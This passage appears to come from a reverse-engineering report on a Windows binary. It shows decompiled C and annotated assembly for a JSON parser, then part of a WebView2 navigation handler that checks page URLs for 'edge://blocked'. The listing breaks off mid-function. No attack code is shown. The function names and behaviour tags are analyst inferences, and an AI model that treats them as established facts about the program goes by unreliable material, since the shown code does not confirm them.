    if (uVar9 == 0x2c) {
      bVar3 = false;
      *param_1 = (longlong)pbVar8;
      goto LAB_140007b77;
    }
    goto LAB_140007b66;
  }
  *param_1 = (longlong)pbVar8;
  pbVar11 = pbVar8;
  goto LAB_140007b40;
LAB_140007b66:
  if (*pbVar11 == 0x7d) {
    bVar3 = true;
    *param_1 = (longlong)pbVar8;
    pbVar12 = (byte *)CONCAT71((int7)((ulonglong)pbVar12 >> 8),1);
  }
  else {
LAB_140007b75:
    pbVar12 = (byte *)0x0;
  }
LAB_140007b77:
  pvVar14 = pvStack_90;
  pvVar4 = local_88;
  if (pvStack_90 != (void *)0x0) {
    for (; pvVar14 != pvVar4; pvVar4 = (void *)((longlong)pvVar4 + -0x70)) {
      FUN_140007cb0((longlong)pvVar4 + -0x58);
      if ((*(byte *)((longlong)pvVar4 + -0x70) & 1) != 0) {
        FUN_14001f8e0(*(void **)((longlong)pvVar4 + -0x60));
      }
    }
    local_88 = pvVar14;
    FUN_14001f8e0(pvStack_90);
  }
  if (local_a8 != (void *)0x0) {
    FUN_140008de0((longlong)&local_a8,(longlong)local_a8);
    FUN_14001f8e0(local_a8);
  }
  if ((uStack_c0 & 1) != 0) {
    FUN_14001f8e0(pvStack_b0);
  }
LAB_140007af8:
  if ((local_78 & 1) != 0) {
    FUN_14001f8e0(local_68);
  }
  if (bVar3) goto LAB_14000795d;
  goto LAB_14000798f;
}

Assembly · 405 instructions, 18 annotated
AddressBytesInstructionComment
1400075c041 57PUSH R15
1400075c241 56PUSH R14
1400075c441 55PUSH R13
1400075c641 54PUSH R12
1400075c856PUSH RSI
1400075c957PUSH RDI
1400075ca55PUSH RBP
1400075cb53PUSH RBX
1400075cc48 81 ec b8 00 00 00SUB RSP,0xb8
1400075d30f 29 b4 24 a0 00 00 00MOVAPS xmmword ptr [RSP + local_58[0]],XMM6
1400075db48 89 d6MOV RSI,RDX
1400075de48 89 cfMOV RDI,RCX
1400075e148 8b 19MOV RBX,qword ptr [RCX]
1400075e448 bd 00 26 00 00 01 00 …MOV RBP,0x100002600
1400075ee66 90NOP
LAB_1400075f0:
1400075f00f b6 03MOVZX EAX,byte ptr [RBX]
1400075f348 83 f8 22CMP RAX,0x22
1400075f777 35JA LAB_14000762e
1400075f948 0f a3 c5BT RBP,RAX
1400075fd73 08JNC LAB_140007607
1400075ff48 ff c3INC RBX
14000760248 89 1fMOV qword ptr [RDI],RBX
140007605eb e9JMP LAB_1400075f0
LAB_140007607:
14000760748 83 f8 22CMP RAX,0x22
14000760b75 21JNZ LAB_14000762e
14000760d48 8d 56 10LEA RDX,[RSI + 0x10]
14000761148 89 f9MOV RCX,RDI
140007614e8 27 08 00 00CALL FUN_140007e40; FUN_140007e40: memmove
14000761984 c0TEST AL,AL
14000761b0f 84 3a 03 00 00JZ LAB_14000795b
140007621c7 06 04 00 00 00MOV dword ptr [RSI],0x4
140007627b3 01MOV BL,0x1
140007629e9 2f 03 00 00JMP LAB_14000795d
LAB_14000762e:
14000762e83 c0 a5ADD EAX,-0x5b
14000763183 f8 20CMP EAX,0x20
1400076340f 87 dc 05 00 00JA caseD_5c
14000763a48 8d 0d 2f 7e 09 00LEA RCX,[switchdataD_14009f470]
14000764148 63 04 81MOVSXD RAX,dword ptr [RCX + RAX*0x4]
14000764548 01 c8ADD RAX,RCX
140007648ff e0JMP RAX
caseD_5b:
14000764a48 ff c3INC RBX
14000764d48 89 1fMOV qword ptr [RDI],RBX
140007650c7 06 05 00 00 00MOV dword ptr [RSI],0x5
14000765648 8b 07MOV RAX,qword ptr [RDI]
1400076590f 1f 80 00 00 00 00NOP dword ptr [RAX]
LAB_140007660:
14000766048 ff c0INC RAX
1400076630f b6 48 ffMOVZX ECX,byte ptr [RAX + -0x1]
14000766748 83 f9 20CMP RCX,0x20
14000766b77 3cJA LAB_1400076a9
14000766d48 0f a3 cdBT RBP,RCX
14000767173 36JNC LAB_1400076a9
14000767348 89 07MOV qword ptr [RDI],RAX
140007676eb e8JMP LAB_140007660
caseD_6e:
14000767848 8d 15 7d 43 09 00LEA RDX,[DAT_14009b9fc]
14000767f41 b8 04 00 00 00MOV R8D,0x4
14000768548 89 d9MOV RCX,RBX
140007688e8 e3 2b 09 00CALL strncmp
14000768d85 c0TEST EAX,EAX
14000768f0f 85 c6 02 00 00JNZ LAB_14000795b
14000769548 83 c3 04ADD RBX,0x4
14000769948 89 1fMOV qword ptr [RDI],RBX
14000769cc7 06 00 00 00 00MOV dword ptr [RSI],0x0
1400076a2b3 01MOV BL,0x1
1400076a4e9 b4 02 00 00JMP LAB_14000795d
LAB_1400076a9:
1400076a983 f9 5dCMP ECX,0x5d
1400076ac0f 84 5b 02 00 00JZ LAB_14000790d
1400076b24c 8d 6c 24 30LEA R13,[RSP + 0x30]
1400076b748 8d 46 28LEA RAX,[RSI + 0x28]
1400076bb48 89 84 24 98 00 00 00MOV qword ptr [RSP + local_60],RAX
1400076c30f 57 f6XORPS XMM6,XMM6
1400076c64c 8d 64 24 28LEA R12,[RSP + 0x28]
1400076cbeb 0cJMP LAB_1400076d9
LAB_1400076d0:
1400076d045 84 f6TEST R14B,R14B
1400076d30f 85 84 02 00 00JNZ LAB_14000795d
LAB_1400076d9:
1400076d9c7 44 24 28 00 00 00 00MOV dword ptr [RSP + local_d0[0]],0x0
1400076e141 0f 11 75 40MOVUPS xmmword ptr [R13 + local_88[0]],XMM6
1400076e641 0f 11 75 30MOVUPS xmmword ptr [R13 + local_98[0]],XMM6
1400076eb41 0f 11 75 20MOVUPS xmmword ptr [R13 + local_a8[0]],XMM6
1400076f041 0f 11 75 10MOVUPS xmmword ptr [R13 + local_d0[24]],XMM6
1400076f541 0f 11 75 00MOVUPS xmmword ptr [R13],XMM6
1400076fa48 89 f9MOV RCX,RDI
1400076fd4c 89 e2MOV RDX,R12
140007700e8 bb fe ff ffCALL json_parser
14000770541 b6 01MOV R14B,0x1
14000770884 c0TEST AL,AL
14000770a0f 84 10 01 00 00JZ LAB_140007820
14000771048 8b 46 30MOV RAX,qword ptr [RSI + 0x30]
14000771448 3b 46 38CMP RAX,qword ptr [RSI + 0x38]
1400077180f 83 a2 00 00 00JNC LAB_1400077c0
14000771e0f 10 44 24 28MOVUPS XMM0,xmmword ptr [RSP + local_d0[0]]
1400077230f 11 00MOVUPS xmmword ptr [RAX],XMM0
14000772649 8b 4d 18MOV RCX,qword ptr [R13 + Stack[-0xb0]]
14000772a48 89 48 20MOV qword ptr [RAX + 0x20],RCX
14000772e41 0f 10 45 08MOVUPS XMM0,xmmword ptr [R13 + local_d0[16]]
1400077330f 11 40 10MOVUPS xmmword ptr [RAX + 0x10],XMM0
14000773741 0f 11 75 08MOVUPS xmmword ptr [R13 + local_d0[16]],XMM6
14000773c49 c7 45 18 00 00 00 00MOV qword ptr [R13 + Stack[-0xb0]],0x0
1400077440f 11 70 28MOVUPS xmmword ptr [RAX + 0x28],XMM6
14000774848 c7 40 38 00 00 00 00MOV qword ptr [RAX + 0x38],0x0
14000775048 8b 4c 24 50MOV RCX,qword ptr [RSP + local_a8[0]]
14000775548 89 48 28MOV qword ptr [RAX + 0x28],RCX
14000775948 8b 4c 24 58MOV RCX,qword ptr [RSP + local_a8[8]]
14000775e48 89 48 30MOV qword ptr [RAX + 0x30],RCX
14000776248 8b 4c 24 60MOV RCX,qword ptr [RSP + local_98[0]]
14000776748 89 48 38MOV qword ptr [RAX + 0x38],RCX
14000776b48 8d 4c 24 50LEA RCX,[RSP + 0x50]
1400077700f 11 31MOVUPS xmmword ptr [RCX],XMM6
14000777348 c7 41 10 00 00 00 00MOV qword ptr [RCX + local_98[0]],0x0
14000777b0f 11 70 40MOVUPS xmmword ptr [RAX + 0x40],XMM6
14000777f48 c7 40 50 00 00 00 00MOV qword ptr [RAX + 0x50],0x0
14000778748 8b 4c 24 68MOV RCX,qword ptr [RSP + local_98[8]]
14000778c48 89 48 40MOV qword ptr [RAX + 0x40],RCX
14000779048 8b 4c 24 70MOV RCX,qword ptr [RSP + local_88[0]]
14000779548 89 48 48MOV qword ptr [RAX + 0x48],RCX
14000779948 8b 4c 24 78MOV RCX,qword ptr [RSP + local_88[8]]
14000779e48 89 48 50MOV qword ptr [RAX + 0x50],RCX
1400077a241 0f 11 75 38MOVUPS xmmword ptr [R13 + local_98[8]],XMM6
1400077a749 c7 45 48 00 00 00 00MOV qword ptr [R13 + local_88[8]],0x0
1400077af48 83 c0 58ADD RAX,0x58
1400077b3eb 1bJMP LAB_1400077d0
LAB_1400077c0:
1400077c048 8b 8c 24 98 00 00 00MOV RCX,qword ptr [RSP + local_60]
1400077c84c 89 e2MOV RDX,R12
1400077cbe8 80 0a 00 00CALL FUN_140008250; FUN_140008250: malloc, free
LAB_1400077d0:
1400077d048 89 46 30MOV qword ptr [RSI + 0x30],RAX
1400077d448 8b 07MOV RAX,qword ptr [RDI]
1400077d766 0f 1f 84 00 00 00 00 …NOP word ptr [RAX + RAX*0x1]
LAB_1400077e0:
1400077e048 ff c0INC RAX
1400077e30f b6 48 ffMOVZX ECX,byte ptr [RAX + -0x1]
1400077e748 83 f9 2cCMP RCX,0x2c
1400077eb77 23JA LAB_140007810
1400077ed48 0f a3 cdBT RBP,RCX
1400077f173 0dJNC LAB_140007800
1400077f348 89 07MOV qword ptr [RDI],RAX
1400077f6eb e8JMP LAB_1400077e0
LAB_140007800:
14000780048 83 f9 2cCMP RCX,0x2c
14000780475 0aJNZ LAB_140007810
14000780645 31 f6XOR R14D,R14D
14000780948 89 07MOV qword ptr [RDI],RAX
14000780ceb 14JMP LAB_140007822
LAB_140007810:
14000781083 f9 5dCMP ECX,0x5d
14000781375 0bJNZ LAB_140007820
14000781541 b6 01MOV R14B,0x1
14000781848 89 07MOV qword ptr [RDI],RAX
14000781bb3 01MOV BL,0x1
14000781deb 03JMP LAB_140007822
LAB_140007820:
14000782031 dbXOR EBX,EBX
LAB_140007822:
1400078224c 8b 7c 24 68MOV R15,qword ptr [RSP + local_98[8]]
1400078274d 85 ffTEST R15,R15
14000782a74 74JZ LAB_1400078a0
14000782c45 89 f5MOV R13D,R14D
14000782f41 89 deMOV R14D,EBX
14000783248 89 f3MOV RBX,RSI
1400078354c 89 e6MOV RSI,R12
1400078384c 8b 64 24 70MOV R12,qword ptr [RSP + local_88[0]]
14000783d4c 89 f9MOV RCX,R15
1400078404d 39 e7CMP R15,R12
14000784375 14JNZ LAB_140007859
140007845eb 3eJMP LAB_140007885
LAB_140007850:
14000785049 83 c4 90ADD R12,-0x70
1400078544d 39 fcCMP R12,R15
14000785774 27JZ LAB_140007880
LAB_140007859:
14000785949 8d 4c 24 a8LEA RCX,[R12 + -0x58]
14000785ee8 4d 04 00 00CALL FUN_140007cb0; FUN_140007cb0: free
14000786341 f6 44 24 90 01TEST byte ptr [R12 + -0x70],0x1
14000786974 e5JZ LAB_140007850
14000786b49 8b 4c 24 a0MOV RCX,qword ptr [R12 + -0x60]
140007870e8 6b 80 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
140007875eb d9JMP LAB_140007850
LAB_140007880:
14000788048 8b 4c 24 68MOV RCX,qword ptr [RSP + local_98[8]]
LAB_140007885:
1400078854c 89 7c 24 70MOV qword ptr [RSP + local_88[0]],R15
14000788ae8 51 80 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
14000788f49 89 f4MOV R12,RSI
14000789248 89 deMOV RSI,RBX
14000789544 89 f3MOV EBX,R14D
14000789845 89 eeMOV R14D,R13D
14000789b4c 8d 6c 24 30LEA R13,[RSP + 0x30]
LAB_1400078a0:
1400078a048 8b 54 24 50MOV RDX,qword ptr [RSP + local_a8[0]]
1400078a548 85 d2TEST RDX,RDX
1400078a874 14JZ LAB_1400078be
1400078aa48 8d 4c 24 50LEA RCX,[RSP + 0x50]
1400078afe8 2c 15 00 00CALL FUN_140008de0; FUN_140008de0: free
1400078b448 8b 4c 24 50MOV RCX,qword ptr [RSP + 0x50]
1400078b9e8 22 80 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_1400078be:
1400078bef6 44 24 38 01TEST byte ptr [RSP + local_d0[16]],0x1
1400078c30f 84 07 fe ff ffJZ LAB_1400076d0
1400078c948 8b 4c 24 48MOV RCX,qword ptr [RSP + Stack[-0xb0]]
1400078cee8 0d 80 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
1400078d3e9 f8 fd ff ffJMP LAB_1400076d0
caseD_7b:
1400078d848 ff c3INC RBX
1400078db48 89 1fMOV qword ptr [RDI],RBX
1400078dec7 06 06 00 00 00MOV dword ptr [RSI],0x6
1400078e448 8b 07MOV RAX,qword ptr [RDI]
1400078e766 0f 1f 84 00 00 00 00 …NOP word ptr [RAX + RAX*0x1]
LAB_1400078f0:
1400078f048 ff c0INC RAX
1400078f30f b6 48 ffMOVZX ECX,byte ptr [RAX + -0x1]
1400078f748 83 f9 20CMP RCX,0x20
1400078fb77 0bJA LAB_140007908
1400078fd48 0f a3 cdBT RBP,RCX
14000790173 05JNC LAB_140007908
14000790348 89 07MOV qword ptr [RDI],RAX
140007906eb e8JMP LAB_1400078f0
LAB_140007908:
14000790883 f9 7dCMP ECX,0x7d
14000790b75 71JNZ LAB_14000797e
LAB_14000790d:
14000790d48 89 07MOV qword ptr [RDI],RAX
140007910b3 01MOV BL,0x1
140007912eb 49JMP LAB_14000795d
caseD_74:
14000791448 8d 15 4f 3f 09 00LEA RDX,[DAT_14009b86a]
14000791b41 b8 04 00 00 00MOV R8D,0x4
14000792148 89 d9MOV RCX,RBX
140007924e8 47 29 09 00CALL strncmp
14000792985 c0TEST EAX,EAX
14000792b75 2eJNZ LAB_14000795b
14000792d48 83 c3 04ADD RBX,0x4
14000793148 89 1fMOV qword ptr [RDI],RBX
140007934c7 06 02 00 00 00MOV dword ptr [RSI],0x2
14000793ab3 01MOV BL,0x1
14000793ceb 1fJMP LAB_14000795d
caseD_66:
14000793e48 8d 15 2a 3f 09 00LEA RDX,[s_false_14009b86f]; "false"
14000794541 b8 05 00 00 00MOV R8D,0x5
14000794b48 89 d9MOV RCX,RBX
14000794ee8 1d 29 09 00CALL strncmp
14000795385 c0TEST EAX,EAX
1400079550f 84 f5 02 00 00JZ LAB_140007c50
LAB_14000795b:
14000795b31 dbXOR EBX,EBX
LAB_14000795d:
14000795d80 e3 01AND BL,0x1
14000796089 d8MOV EAX,EBX
1400079620f 28 b4 24 a0 00 00 00MOVAPS XMM6,xmmword ptr [RSP + local_58[0]]
14000796a48 81 c4 b8 00 00 00ADD RSP,0xb8
1400079715bPOP RBX
1400079725dPOP RBP
1400079735fPOP RDI
1400079745ePOP RSI
14000797541 5cPOP R12
14000797741 5dPOP R13
14000797941 5ePOP R14
14000797b41 5fPOP R15
14000797dc3RET
LAB_14000797e:
14000797e4c 8d 7c 24 30LEA R15,[RSP + 0x30]
1400079834c 8d 76 40LEA R14,[RSI + 0x40]
1400079874c 8d 64 24 50LEA R12,[RSP + 0x50]
14000798c0f 57 f6XORPS XMM6,XMM6
LAB_14000798f:
14000798f48 8b 07MOV RAX,qword ptr [RDI]
14000799266 66 66 66 66 2e 0f 1f …NOP word ptr CS:[RAX + RAX*0x1]
LAB_1400079a0:
1400079a048 ff c0INC RAX
1400079a30f b6 48 ffMOVZX ECX,byte ptr [RAX + -0x1]
1400079a748 83 f9 22CMP RCX,0x22
1400079ab77 aeJA LAB_14000795b
1400079ad48 0f a3 cdBT RBP,RCX
1400079b173 05JNC LAB_1400079b8
1400079b348 89 07MOV qword ptr [RDI],RAX
1400079b6eb e8JMP LAB_1400079a0
LAB_1400079b8:
1400079b848 83 f9 22CMP RCX,0x22
1400079bc75 9dJNZ LAB_14000795b
1400079be0f 29 b4 24 80 00 00 00MOVAPS xmmword ptr [RSP + local_78[0]],XMM6
1400079c648 c7 84 24 90 00 00 00 …MOV qword ptr [RSP + local_68],0x0
1400079d248 89 f9MOV RCX,RDI
1400079d548 8d 94 24 80 00 00 00LEA RDX,[RSP + 0x80]
1400079dde8 5e 04 00 00CALL FUN_140007e40; FUN_140007e40: memmove
1400079e241 b5 01MOV R13B,0x1
1400079e584 c0TEST AL,AL
1400079e70f 84 09 01 00 00JZ LAB_140007af6
1400079ed48 8b 07MOV RAX,qword ptr [RDI]
LAB_1400079f0:
1400079f048 ff c0INC RAX
1400079f30f b6 48 ffMOVZX ECX,byte ptr [RAX + -0x1]
1400079f748 83 f9 3aCMP RCX,0x3a
1400079fb0f 87 f5 00 00 00JA LAB_140007af6
140007a0148 0f a3 cdBT RBP,RCX
140007a0573 05JNC LAB_140007a0c
140007a0748 89 07MOV qword ptr [RDI],RAX
140007a0aeb e4JMP LAB_1400079f0
LAB_140007a0c:
140007a0c48 83 f9 3aCMP RCX,0x3a
140007a100f 85 e0 00 00 00JNZ LAB_140007af6
140007a1648 89 07MOV qword ptr [RDI],RAX
140007a19c7 44 24 28 00 00 00 00MOV dword ptr [RSP + local_d0[0]],0x0
140007a2141 0f 11 77 40MOVUPS xmmword ptr [R15 + local_88[0]],XMM6
140007a2641 0f 11 77 30MOVUPS xmmword ptr [R15 + local_98[0]],XMM6
140007a2b41 0f 11 77 20MOVUPS xmmword ptr [R15 + local_a8[0]],XMM6
140007a3041 0f 11 77 10MOVUPS xmmword ptr [R15 + local_d0[24]],XMM6
140007a3541 0f 11 37MOVUPS xmmword ptr [R15],XMM6
140007a3948 89 f9MOV RCX,RDI
140007a3c48 8d 54 24 28LEA RDX,[RSP + 0x28]
140007a41e8 7a fb ff ffCALL json_parser
140007a4641 b5 01MOV R13B,0x1
140007a4984 c0TEST AL,AL
140007a4b0f 84 24 01 00 00JZ LAB_140007b75
140007a5148 8b 46 48MOV RAX,qword ptr [RSI + 0x48]
140007a5548 3b 46 50CMP RAX,qword ptr [RSI + 0x50]
140007a590f 83 be 00 00 00JNC LAB_140007b1d
140007a5f48 8b 8c 24 90 00 00 00MOV RCX,qword ptr [RSP + local_68]
140007a6748 89 48 10MOV qword ptr [RAX + 0x10],RCX
140007a6b0f 28 84 24 80 00 00 00MOVAPS XMM0,xmmword ptr [RSP + local_78[0]]
140007a730f 11 00MOVUPS xmmword ptr [RAX],XMM0
140007a760f 29 b4 24 80 00 00 00MOVAPS xmmword ptr [RSP + local_78[0]],XMM6
140007a7e48 c7 84 24 90 00 00 00 …MOV qword ptr [RSP + local_68],0x0
140007a8a0f 10 44 24 28MOVUPS XMM0,xmmword ptr [RSP + local_d0[0]]
140007a8f0f 11 40 18MOVUPS xmmword ptr [RAX + 0x18],XMM0
140007a9349 8b 4f 18MOV RCX,qword ptr [R15 + Stack[-0xb0]]
140007a9748 89 48 38MOV qword ptr [RAX + 0x38],RCX
140007a9b41 0f 10 47 08MOVUPS XMM0,xmmword ptr [R15 + local_d0[16]]
140007aa00f 11 40 28MOVUPS xmmword ptr [RAX + 0x28],XMM0
140007aa441 0f 11 77 08MOVUPS xmmword ptr [R15 + local_d0[16]],XMM6
140007aa949 c7 47 18 00 00 00 00MOV qword ptr [R15 + Stack[-0xb0]],0x0
140007ab10f 10 44 24 50MOVUPS XMM0,xmmword ptr [RSP + local_a8[0]]
140007ab60f 11 40 40MOVUPS xmmword ptr [RAX + 0x40],XMM0
140007aba48 8b 4c 24 60MOV RCX,qword ptr [RSP + local_98[0]]
140007abf48 89 48 50MOV qword ptr [RAX + 0x50],RCX
140007ac341 0f 11 34 24MOVUPS xmmword ptr [R12],XMM6
140007ac849 c7 44 24 10 00 00 00 …MOV qword ptr [R12 + local_98[0]],0x0
140007ad10f 10 44 24 68MOVUPS XMM0,xmmword ptr [RSP + local_98[8]]
140007ad60f 11 40 58MOVUPS xmmword ptr [RAX + 0x58],XMM0
140007ada48 8b 4c 24 78MOV RCX,qword ptr [RSP + local_88[8]]
140007adf48 89 48 68MOV qword ptr [RAX + 0x68],RCX
140007ae341 0f 11 77 38MOVUPS xmmword ptr [R15 + local_98[8]],XMM6
140007ae849 c7 47 48 00 00 00 00MOV qword ptr [R15 + local_88[8]],0x0
140007af048 83 c0 70ADD RAX,0x70
140007af4eb 3cJMP LAB_140007b32
LAB_140007af6:
140007af631 dbXOR EBX,EBX
LAB_140007af8:
140007af8f6 84 24 80 00 00 00 01TEST byte ptr [RSP + local_78[0]],0x1
140007b0074 0dJZ LAB_140007b0f
140007b0248 8b 8c 24 90 00 00 00MOV RCX,qword ptr [RSP + local_68]
140007b0ae8 d1 7d 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_140007b0f:
140007b0f45 84 edTEST R13B,R13B
140007b120f 84 77 fe ff ffJZ LAB_14000798f
140007b18e9 40 fe ff ffJMP LAB_14000795d
LAB_140007b1d:
140007b1d4c 89 f1MOV RCX,R14
140007b2048 8d 94 24 80 00 00 00LEA RDX,[RSP + 0x80]
140007b284c 8d 44 24 28LEA R8,[RSP + 0x28]
140007b2de8 fe 09 00 00CALL FUN_140008530; FUN_140008530: malloc, free
LAB_140007b32:
140007b3248 89 46 48MOV qword ptr [RSI + 0x48],RAX
140007b3648 8b 07MOV RAX,qword ptr [RDI]
140007b390f 1f 80 00 00 00 00NOP dword ptr [RAX]
LAB_140007b40:
140007b4048 ff c0INC RAX
140007b430f b6 48 ffMOVZX ECX,byte ptr [RAX + -0x1]
140007b4748 83 f9 2cCMP RCX,0x2c
140007b4b77 19JA LAB_140007b66
140007b4d48 0f a3 cdBT RBP,RCX
140007b5173 05JNC LAB_140007b58
140007b5348 89 07MOV qword ptr [RDI],RAX
140007b56eb e8JMP LAB_140007b40
LAB_140007b58:
140007b5848 83 f9 2cCMP RCX,0x2c
140007b5c75 08JNZ LAB_140007b66
140007b5e45 31 edXOR R13D,R13D
140007b6148 89 07MOV qword ptr [RDI],RAX
140007b64eb 11JMP LAB_140007b77
LAB_140007b66:
140007b6683 f9 7dCMP ECX,0x7d
140007b6975 0aJNZ LAB_140007b75
140007b6b41 b5 01MOV R13B,0x1
140007b6e48 89 07MOV qword ptr [RDI],RAX
140007b71b3 01MOV BL,0x1
140007b73eb 02JMP LAB_140007b77
LAB_140007b75:
140007b7531 dbXOR EBX,EBX
LAB_140007b77:
140007b774c 8b 64 24 68MOV R12,qword ptr [RSP + local_98[8]]
140007b7c4d 85 e4TEST R12,R12
140007b7f74 5aJZ LAB_140007bdb
140007b814d 89 f7MOV R15,R14
140007b844c 8b 74 24 70MOV R14,qword ptr [RSP + local_88[0]]
140007b894c 89 e1MOV RCX,R12
140007b8c4d 39 f4CMP R12,R14
140007b8f75 18JNZ LAB_140007ba9
140007b91eb 36JMP LAB_140007bc9
LAB_140007ba0:
140007ba049 83 c6 90ADD R14,-0x70
140007ba44d 39 e6CMP R14,R12
140007ba774 1bJZ LAB_140007bc4
LAB_140007ba9:
140007ba949 8d 4e a8LEA RCX,[R14 + -0x58]
140007bade8 fe 00 00 00CALL FUN_140007cb0; FUN_140007cb0: free
140007bb241 f6 46 90 01TEST byte ptr [R14 + -0x70],0x1
140007bb774 e7JZ LAB_140007ba0
140007bb949 8b 4e a0MOV RCX,qword ptr [R14 + -0x60]
140007bbde8 1e 7d 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
140007bc2eb dcJMP LAB_140007ba0
LAB_140007bc4:
140007bc448 8b 4c 24 68MOV RCX,qword ptr [RSP + local_98[8]]
LAB_140007bc9:
140007bc94c 89 64 24 70MOV qword ptr [RSP + local_88[0]],R12
140007bcee8 0d 7d 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
140007bd34d 89 feMOV R14,R15
140007bd64c 8d 7c 24 30LEA R15,[RSP + 0x30]
LAB_140007bdb:
140007bdb48 8b 54 24 50MOV RDX,qword ptr [RSP + local_a8[0]]
140007be048 85 d2TEST RDX,RDX
140007be34c 8d 64 24 50LEA R12,[RSP + 0x50]
140007be874 12JZ LAB_140007bfc
140007bea4c 89 e1MOV RCX,R12
140007bede8 ee 11 00 00CALL FUN_140008de0; FUN_140008de0: free
140007bf248 8b 4c 24 50MOV RCX,qword ptr [RSP + 0x50]
140007bf7e8 e4 7c 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_140007bfc:
140007bfcf6 44 24 38 01TEST byte ptr [RSP + local_d0[16]],0x1
140007c010f 84 f1 fe ff ffJZ LAB_140007af8
140007c0748 8b 4c 24 48MOV RCX,qword ptr [RSP + Stack[-0xb0]]
140007c0ce8 cf 7c 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
140007c11e9 e2 fe ff ffJMP LAB_140007af8
caseD_5c:
140007c1648 c7 44 24 28 00 00 00 …MOV qword ptr [RSP + local_d0[0]],0x0
140007c1f48 8d 54 24 28LEA RDX,[RSP + 0x28]
140007c2448 89 d9MOV RCX,RBX
140007c27e8 54 26 09 00CALL strtod
140007c2c48 8b 44 24 28MOV RAX,qword ptr [RSP + local_d0[0]]
140007c3148 3b 07CMP RAX,qword ptr [RDI]
140007c340f 95 c3SETNZ BL
140007c370f 84 20 fd ff ffJZ LAB_14000795d
140007c3d48 89 07MOV qword ptr [RDI],RAX
140007c40c7 06 03 00 00 00MOV dword ptr [RSI],0x3
140007c46f2 0f 11 46 08MOVSD qword ptr [RSI + 0x8],XMM0
140007c4be9 0d fd ff ffJMP LAB_14000795d
LAB_140007c50:
140007c5048 83 c3 05ADD RBX,0x5
140007c5448 89 1fMOV qword ptr [RDI],RBX
140007c57c7 06 01 00 00 00MOV dword ptr [RSI],0x1
140007c5db3 01MOV BL,0x1
140007c5fe9 f9 fc ff ffJMP LAB_14000795d

nav_event_handler

0x140008f601153 bytes
undefined8 nav_event_handler(undefined8 param_1, undefined8 param_2, longlong * param_3, undefined8 param_4)

WebView2 navigation completed event handler, configures browser settings

Cited as
E18
Behaviours
B2
Called from
none found
Calls
CoTaskMemFree FUN_1400049f0, FUN_14001f800, FUN_14001f8e0, memmove, wcslen
Decompiled C · 197 lines
undefined8 nav_event_handler(undefined8 param_1,undefined8 param_2,longlong *param_3,undefined8 param_4)

{
  void *pvVar1;
  wchar_t *_Src;
  byte bVar2;
  size_t sVar3;
  void *pvVar4;
  wchar_t *pwVar5;
  wchar_t **ppwVar6;
  ulonglong uVar7;
  longlong lVar8;
  longlong *plVar9;
  void *pvVar10;
  void *pvVar11;
  longlong lVar12;
  longlong lVar13;
  ulonglong uVar14;
  ulonglong uVar15;
  undefined8 local_50;
  size_t local_48;
  void *local_40;
  wchar_t *local_38;
  
  if (param_3 == (longlong *)0x0) {
    return 0;
  }
  local_38 = (wchar_t *)0x0;
  ppwVar6 = &local_38;
  plVar9 = param_3;
  (**(code **)(*param_3 + 0x18))(param_3);
  _Src = local_38;
  if (local_38 == (wchar_t *)0x0) {
    return 0;
  }
  pwVar5 = local_38;
  sVar3 = wcslen(local_38);
  if (0x7ffffffffffffff5 < sVar3) {
                    /* WARNING: Subroutine does not return */
    FUN_1400049f0(pwVar5,ppwVar6,plVar9,param_4);
  }
  pvVar1 = (void *)((longlong)&local_50 + 2);
  if (sVar3 < 0xb) {
    local_50 = CONCAT71(local_50._1_7_,(char)sVar3 * '\x02');
    pvVar4 = pvVar1;
    if (sVar3 == 0) goto LAB_140009020;
  }
  else {
    lVar8 = 0xe;
    if ((sVar3 | 3) != 0xb) {
      lVar8 = (sVar3 | 3) + 1;
    }
    pvVar4 = (void *)FUN_14001f800(lVar8 * 2,ppwVar6,plVar9,param_4);
    local_50 = lVar8 + 1;
    local_48 = sVar3;
    local_40 = pvVar4;
  }
  memmove(pvVar4,_Src,sVar3 * 2);
LAB_140009020:
  *(undefined2 *)((longlong)pvVar4 + sVar3 * 2) = 0;
  CoTaskMemFree(local_38);
  bVar2 = (byte)local_50 & 1;
  uVar7 = (ulonglong)((byte)local_50 >> 1);
  if ((local_50 & 1) != 0) {
    uVar7 = local_48;
    pvVar1 = local_40;
  }
  pvVar4 = (void *)((longlong)pvVar1 + uVar7 * 2);
  if (0xd < uVar7) {
    uVar14 = uVar7;
    pvVar10 = pvVar1;
    do {
      lVar8 = uVar14 - 0xd;
      lVar12 = 0;
      while (*(short *)((longlong)pvVar10 + lVar12) != 0x65) {
        lVar12 = lVar12 + 2;
        lVar8 = lVar8 + -1;
        if (lVar8 == 0) goto LAB_140009056;
      }
      if (((((*(short *)((longlong)pvVar10 + lVar12 + 2) == 100) &&
            (*(short *)((longlong)pvVar10 + lVar12 + 4) == 0x67)) &&
           (*(short *)((longlong)pvVar10 + lVar12 + 6) == 0x65)) &&
          ((*(short *)((longlong)pvVar10 + lVar12 + 8) == 0x3a &&
           (*(short *)((longlong)pvVar10 + lVar12 + 10) == 0x2f)))) &&
         (((*(short *)((longlong)pvVar10 + lVar12 + 0xc) == 0x2f &&
           ((*(short *)((longlong)pvVar10 + lVar12 + 0xe) == 0x62 &&
            (*(short *)((longlong)pvVar10 + lVar12 + 0x10) == 0x6c)))) &&
          ((*(short *)((longlong)pvVar10 + lVar12 + 0x12) == 0x6f &&
           ((((*(short *)((longlong)pvVar10 + lVar12 + 0x14) == 99 &&
              (*(short *)((longlong)pvVar10 + lVar12 + 0x16) == 0x6b)) &&
             (*(short *)((longlong)pvVar10 + lVar12 + 0x18) == 0x65)) &&
            (*(short *)((longlong)pvVar10 + lVar12 + 0x1a) == 100)))))))) {
        if (((void *)((longlong)pvVar10 + lVar12) != pvVar4) &&
           ((longlong)pvVar1 + (-2 - (longlong)pvVar10) != lVar12)) goto LAB_1400093a1;
        break;
      }
      lVar8 = (uVar7 * 2 + -2) - (longlong)pvVar10;
      pvVar10 = (void *)((longlong)pvVar10 + lVar12 + 2);
      uVar14 = (longlong)pvVar1 + (lVar8 - lVar12) >> 1;
    } while (0xd < (longlong)uVar14);
  }
LAB_140009056:
  if (10 < uVar7) {
    lVar8 = uVar7 * 2 + -2;
    pvVar10 = pvVar1;
